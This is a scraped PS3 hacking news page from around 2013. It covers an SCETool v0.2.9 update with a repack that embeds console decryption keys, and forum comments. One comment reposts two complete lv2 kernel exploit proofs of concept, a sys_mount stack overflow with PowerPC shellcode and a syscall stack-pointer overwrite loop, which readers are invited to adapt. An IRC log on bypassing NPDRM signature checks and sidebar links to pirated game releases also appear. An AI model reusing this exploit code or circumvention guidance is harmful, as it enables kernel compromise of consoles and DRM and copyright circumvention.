• Home
  • Downloads
  • EBOOT Fixes
  • Forums
  • New Posts
  • Register
    • Welcome, Register Now! 
    • Premium VIP Membership
    • PS3 Sticky
      • PS3 CFW & MFW
      • PS3 Debug Firmware
      • PS3 Decrypted PSN Links for CFW
      • PS3 Downloads
      • PS3 EBOOT.BIN Original File Links
      • PS3 Firmware
      • PS3 Game Releases List
      • PS3 Guides & Tutorials
      • PS3 Hacking Guides and Tutorials
      • PS3 Hacks & JailBreak
      • PS3 Help & Support
      • PS3 JailBreak Game Compatibility List
      • PS3 JB2 / True Blue (TB) Game Links
      • PS3 multiMAN Updates
      • PS3 Resources
      • PS3 Reviews
      • PS3 Save Files Repository
      • PS3 Themes
      • PS3 Trophies List
      • PS3 Videos
      • PS Vita Trophies List
    • Quick Links
      • Affiliates
      • Contact Us
      • FAQ
      • Post News
      • Site Rules
      • Tag Cloud
 

PS3 SCETool v0.2.9 by Naehrwert Updated, Adds NP Fix and More

Category: PS3 Hacks & JailBreak  By: PS3 News - (twitter.com)
Tags: ps3 scetool scetool v0.2.9 scetool naehrwert naehrwert ps3 ps3 hax ps3hax ps3 hacks

38w ago - Following up on his previous release, today Sony PlayStation 3 hacker Naehrwert has updated SCETool to version 0.2.9 which now includes an NP application types fix and more as detailed in the changes below.

Download: PS3 SCETool v0.2.9 / ZLib1.dll File (Required) / ZLib1.dll File (Mirror) / SCETool.exe v0.2.9 (no zlib1.dll or data folder required) by ben.ss7

Version 0.2.9

  • Plaintext sections will now take less space in metadata header keys array.
  • Added option to specifiy a template SELF to take configuration values from.
  • Added option to override the keyset used for en-/decryption.
  • Fixed NP application types.
  • [Firmware Version] will now be written to control info only.
  • [Application Version] will now be written to application info only.

Finally, from ben.ss7: Here is a scetool v0.2.9 which has zlib1.dll and the data folder embedded within the exe, which means it doesn't require you to have zlib1.dll and the data folder for keys.

The original scetool source code hasn't been touched and it shouldn't have any issues. The keys which have been embedded in to this exe are:

  • NP_tid
  • NP_ci
  • NP_klic_free
  • NP_klic_key
  • NP_sig
  • metldr
  • bootldr(lv0)

If any user wants me to embed all the keys up to 4.31 PM me. Enjoy




Stay tuned for more PS3 Hacks and PS3 CFW news, follow us on Twitter and be sure to drop by the PS3 Hacks and PS3 Custom Firmware Forums for the latest PlayStation 3 scene updates and homebrew releases!

Comments 211 Comments - Go to Forum Thread »

Errors

The following errors occurred with your submission

Okay

Quick Reply Quick Reply

  • Decrease Size
    Increase Size
  • Wrap [QUOTE] tags around selected text
Posting Quick Reply - Please Wait Posting Quick Reply - Please Wait
JOshISPoser's Avatar
#41 - JOshISPoser - 35w ago
Reply
if that was to me, it doesn't make sense.

eh, whatever. i know it's not exactly for me, i was just wondering the possibilities but i'm guessing it's not something easily explained in a sentence or two in laymen terms.

xrayglasses's Avatar
#40 - xrayglasses - 35w ago
Reply
You don't need a lv1 exploit, it can glitch HTAB..

JOshISPoser's Avatar
#39 - JOshISPoser - 35w ago
Reply
what does all that mean?

PS3 News's Avatar
#38 - PS3 News - 35w ago
Reply
Following up on his PS3 SCETool update and PS3 Dump_Rootkey code, today Sony PlayStation 3 hacker Naehrwert has posted some details on exploiting the PlayStation 3 lv2_kernel and has made available a sample 3.41 implementation below.

To quote from his blog: Exploiting (?) lv2

A long while ago KaKaRoTo pointed me to a stack overflow he found while reversing lv2_kernel. But there are two problems:

1. The vulnerability is in a protected syscall (the SELF calling it got to have the 0x40... control flags set). So you’d first need to find a suitable usermode exploit (don’t ask us), that gives you code execution with the right privileges.

2. The payload data is copied to lv2 heap first and the function will do a free call on it before the payload has any chance to get executed. This might not sound like a problem but it looks like lv2′s heap implementation will overwrite the free’ed space with 0xABADCAFE and thus destroy the payload.

Here (pastie.org/4755699) is my sample implementation for 3.41 lv2_kernel (although the vulnerability should be present in all versions of lv2 up to the latest firmware), maybe someone of you will find a way to overcome problem (2.) and can get something nice out of it because right now it’s only good to crash lv2.


/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/

#include
#include
#include

/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,
u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,
(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
return_to_user_prog(s64);
}

//For testing.
static void patch_access_check()
{
//check_access @ 0x80000000000505D0
//li r3, 1 ; blr
lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
printf("• DEBUG: access check patched.\n");
}

int main(int argc, const char **argv)
{
//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
//Solution: Find a usermode exploit in a SELF that has them set.

//Patch the ctrl flags check for testing.
patch_access_check();

//Nop.
char nop[] = "X";

//Payload.
char payload[] =
{
//Insert valid PPC code here (without 0x00 bytes)
//and hope lv2 heap 0x27 is executable and 0x04 aligned.
0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110
0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16
0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32
0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134
0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown)
0x38, 0x60, 0x02, 0x10, //li r3, 0x210
0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot)
0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0
0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0
0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0
0x4E, 0x80, 0x04, 0x20, //bctr
//End of payload.
0x00
};

//List containing the entries.
//stack frame size is 0x1C0
//strlist = framptr + 0xE0
//remaining stack frame size is 0xE0 (28 * 8)
#define LIST_LENGTH (28 + 2 + 1)
const char *list[LIST_LENGTH] =
{
//-0xE0
//Overwrite stack with nop entries (0xE0 bytes).
nop, nop, nop, nop, nop, nop, nop, nop, //0x40
nop, nop, nop, nop, nop, nop, nop, nop, //0x80
nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
nop, nop, nop, nop,
//0x00
//Fill 0x10 bytes to reach saved r0.
nop, nop,
//+0x10
//Overwrite saved r0 with a pointer to our payload.
payload
};

//Doit!
printf("• Taking the plunge...\n");
s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
printf("• Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);

return 0;
}
From Mathieulh (via pastebin.com/naxXkv3M):


Sep 04 13:16:42 I just posted one last thing
Sep 04 13:17:05 I dislike being called "king of liars" especially by someone who doesn't understand sht about ps3 self crypto
Sep 04 13:17:25 and yeah I said the truth
Sep 04 13:17:31 this footer signature
Sep 04 13:17:33 is not checked
Sep 04 13:17:35 even in 4.21
Sep 04 13:17:37 go figure
Sep 04 13:17:44 at least not upon npdrm self execution
Sep 04 13:17:59 I believe it is checked while the packages install
Sep 04 13:18:03 but that's something else
Sep 04 13:18:31 I don't even think it was called on 3.55 at all, (the function that does the stuff)
Sep 04 13:18:33 that's also wrong info
Sep 04 13:18:35 I gave kakaroto
Sep 04 13:18:40 over a week of work
Sep 04 13:18:48 with everything one would want to know
Sep 04 13:18:52 about self format
Sep 04 13:19:16 but he called it "useless" without revealing what I gave him
Sep 04 13:19:31 and he claimed how all of this was already public when most wasn't
Sep 04 13:19:47 he did all this along with his pamphlet in order to hide his incompetence
Sep 04 13:20:04 as he was "begging" me (literally) to get the extra info he needed to get his hack to work
Sep 04 13:20:09 and I told him to figure the rest himself
Sep 04 13:20:12 and he never could
Sep 04 13:20:19 figures
Sep 04 13:20:34 zecoxao, I gave him something he needed
Sep 04 13:20:42 but he wanted me to supply ALL the work
Sep 04 13:20:48 and I wasn't ok with that
Sep 04 13:20:58 the more I gave him
Sep 04 13:21:00 the more he asked
Sep 04 13:21:32 but yeah
Sep 04 13:22:03 if you can actually resign lv0, and put your own keyset in appldr on 4.21
Sep 04 13:22:16 and set your own keyset to something higher than 0x0D
Sep 04 13:22:35 and build a complying npdrm that has all the new values appldr checks, WITHOUT the so called footer
Sep 04 13:22:37 and run it
Sep 04 13:22:41 it runs just fine...
Sep 04 13:22:51 (yes, I did test this)
Sep 04 13:23:18 they do whitelist anything older than keyset 0x0D now for npdrm too
Sep 04 13:23:32 so crafting npdrms for 4.21 would not work on ofw now
Sep 04 13:23:38 but that stupid footer
Sep 04 13:23:47 which he claims is why whatever I told him was BS
Sep 04 13:23:54 is STILL NOT CHECKED
Sep 04 13:24:22 Kraparoto banned me from all the chans he is op as soon as I exposed him
Sep 04 13:24:27 how mature of him eh ?
Sep 04 13:25:22 so not only he is an incompetent whining kid, but he also totally lacks maturity
Sep 04 13:25:28 so I am done with the stupid drama
Sep 04 13:25:32 or talking to him
The footer signature is still not checked upon npdrm self files execution as of 4.21.

Because kakaroto says something that doesn't make it true. Basically he found a check in 3.55 that was not even called and assumed they used it in 3.60+.

Of course they do whitelist npdrm now so even if the footer isn't checked you cannot run your own npdrm selfs signed with keyset lower than 0x0D making the whole debate rather pointless. Aditional checks are now performed on the actual file format as well such as the segment counter flag that needs to be set to 0x01 except for the very last segment.

Finally, from KDSBest (via twitlonger.com/show/jcmh80): Since naehrwert posted an lv2 exploit I will do so too . The stack pointer points to lv2 and if we do a syscall, the syscall saves register to the stack HAHA.

Btw. It just crashes the console for now, since I totally overwrite dump the lv2 or some memory addresses I don't know. Feel free to try around, adjust the address of the stackpointer and so on. If you managed to get the panic payload executed. Tell me!!! ^^


//compile: ppu-gcc kds2.c -o kds2.elf
//or: ppu-lv2-gcc kds2.c -o kds2.elf

register unsigned long long payloadHolder2 asm ("r21");
register unsigned long long payloadHolder asm ("r20");
register unsigned long long stackpointer asm ("r1");
register unsigned long long counter asm ("r25");
register unsigned long long bufferStackpointer asm ("r26");

int __volatile__ main(int argc, const char* argv[])
{
// backup Stack pointer
bufferStackpointer = stackpointer;

payloadHolder = 0x3960024F3960024FUL;
payloadHolder2 = 0x4400000244000002UL;

// Incrementer
counter = 0x00;

// Play with that address till the panic is executed, I lack of time todo so
// add always 2 or 4 to it, i would try 4 or 8... bla bla you will get the idea
stackpointer = 0x8000000000000100UL;
doItAgain:
// KDSBest Payload
// Prepare for our Syscall

asm("li %r0, 0x0");
asm("li %r3, 0x6");
asm("li %r4, 0x1");
// li r11, 0x24F -> PANIC
asm("mr %r22, %r20");
asm("mr %r23, %r20");
asm("mr %r24, %r20");
asm("mr %r27, %r20");
asm("mr %r28, %r20");
asm("mr %r29, %r20");
asm("mr %r30, %r20");
asm("mr %r31, %r20");

// Stack Pointer = Build Address of LV2
stackpointer += counter;

// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;

// We write sc
asm("mr %r22, %r21");
asm("mr %r23, %r21");
asm("mr %r24, %r21");
asm("mr %r27, %r21");
asm("mr %r28, %r21");
asm("mr %r29, %r21");
asm("mr %r30, %r21");
asm("mr %r31, %r21");

// Stack Pointer = Build Address of LV2
stackpointer += counter;

// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;


if(counter < 0x1000000)
goto doItAgain;

stackpointer = bufferStackpointer;
return 0;
}
I didn't managed to make it work on 4.21 so I just did on 4.20



More PlayStation 3 News...

Ezio's Avatar
#37 - Ezio - 38w ago
Reply
The last versions of scetool work fine also without zlib1.dll, I tested them myself.

Page 35 of 43 «‹3334353637›LAST »

Related PS3 News and PS3 CFW Hacks or JailBreak Articles

• Simple PS3Updates v1.6 Build 2 Final PS3 Homebrew App Updated
• Video: Super Pixel Jumper v1.2 PS3 Homebrew Game is Released
• Video: Pointman: The Akkadian Wars PS3 Homebrew Game Arrives
• PSPMinis / PS3Minis / Bite v1.5.1 Update for PS3 is Now Released
• PS3 Fan Control Utility v1.7 for PS3 CFW CEX 3.41 to 4.41 Arrives
• PSPMinis / PS3Minis / Bite v1.5 for PS3 with PSP Homebrew Support
Affiliates  NewsNow  Privacy  PS3 CFW & MFW  PS3 Hacks & JailBreak  PS3 Reviews  PS3 Videos  © 2013 PlayStation 3 News

PlayStation 3 Links

• Contact Us E-Mail
• PS3 Affiliates
• PS3 CFW & MFW
• PS3 Debug Firmware
• PS3 Decrypted PSN Links for CFW
• PS3 Downloads
• PS3 EBOOT.BIN Original File Links
• PS3 Firmware
• PS3 Game Releases List
• PS3 Guides & Tutorials
• PS3 Hacking Guides and Tutorials
• PS3 Hacks & JailBreak
• PS3 Help & Support
• PS3 JailBreak Game Compatibility List
• PS3 JB2 / True Blue (TB) Game Links
• PS3 multiMAN Updates
• PS3 News Forums
• PS3 News Site FAQ
• PS3 News Site Advertising FAQ
• PS3 News Site Posting FAQ
• PS3 News Site Privacy FAQ
• PS3 News Site Rules
• PS3 News Site Tag Cloud
• PS3 News Site Terms
• PS3 Resources
• PS3 Reviews
• PS3 Save Files Repository
• PS3 Themes
• PS3 Trophies List
• PS3 Videos
• PS Vita Trophies List

PlayStation 3 News Discussions
Cheating in COD zombie mode help? - 2h ago

d3m0n1q733rz's Avatar
Quote You could attempt to uninstall the update and go back to 1.04, however if you're online, you won't be able to update or the cheat won't work. This al...
By d3m0n1q733rz with
 1 Comment »
Can we use it? - 2h ago

d3m0n1q733rz's Avatar
Quote I just saw this earlier: http://packetstormsecurity.com/files/121691/sony_ps3_firmware_v4.31-exec.txt In theory, we might be able to utilize it to r...
By d3m0n1q733rz with
 0 Comments »
Video: PlayStation 4 / PS4: See It First on June 10th at E3 2013 - 3h ago

kablooey's Avatar
Quote No, It looks more like a Porsche 911 Carrera. FZIUUUUUUUUUUUUUUUUUU bobo....
By kablooey with
 2 Comments »
PS3 Unbricking and Downgrading Service - 4h ago

Vpony's Avatar
Quote racer, ive been reading alot of your posts, first off i want to say. i hope that your ok after your accident with your wifes and shoulder sugery ...
By Vpony with
 691 Comments »

Latest PlayStation 3 Trophies
Call of Juarez: Gunslinger: Keep At It
Call of Juarez: Gunslinger: True Story
Call of Juarez: Gunslinger: Grows In The Telling
Call of Juarez: Gunslinger: Turkey Shoot

Latest PlayStation Vita Trophies
Men's Room Mayhem: Toilet Trouble
Men's Room Mayhem: Mayhem Master
Men's Room Mayhem: Hygiene Award
Men's Room Mayhem: Sand in the Face

Latest PlayStation 3 Releases
Resident Evil Revelations PS3-ANTiDOTE - 05-19-2013
Muvluv Alternative Total Eclipse JPN PS3-HR - 05-17-2013
Skate 2 EUR PS3-Googlecus - 05-16-2013
The Walking Dead A Telltale Games Series PS3-COLLATERAL - 05-15-2013

Latest PlayStation 3 Themes
Wolverine Origins PS3 Theme - 05-19-2013
Heavy Rain (Official) Dynamic PS3 Theme - 05-09-2013
Wipeout HD Fury Dynamic PS3 Theme - 05-06-2013
Batman Arkham City Dynamic PS3 Theme - 05-04-2013
  • Contact Us
  • -
  • PS3 News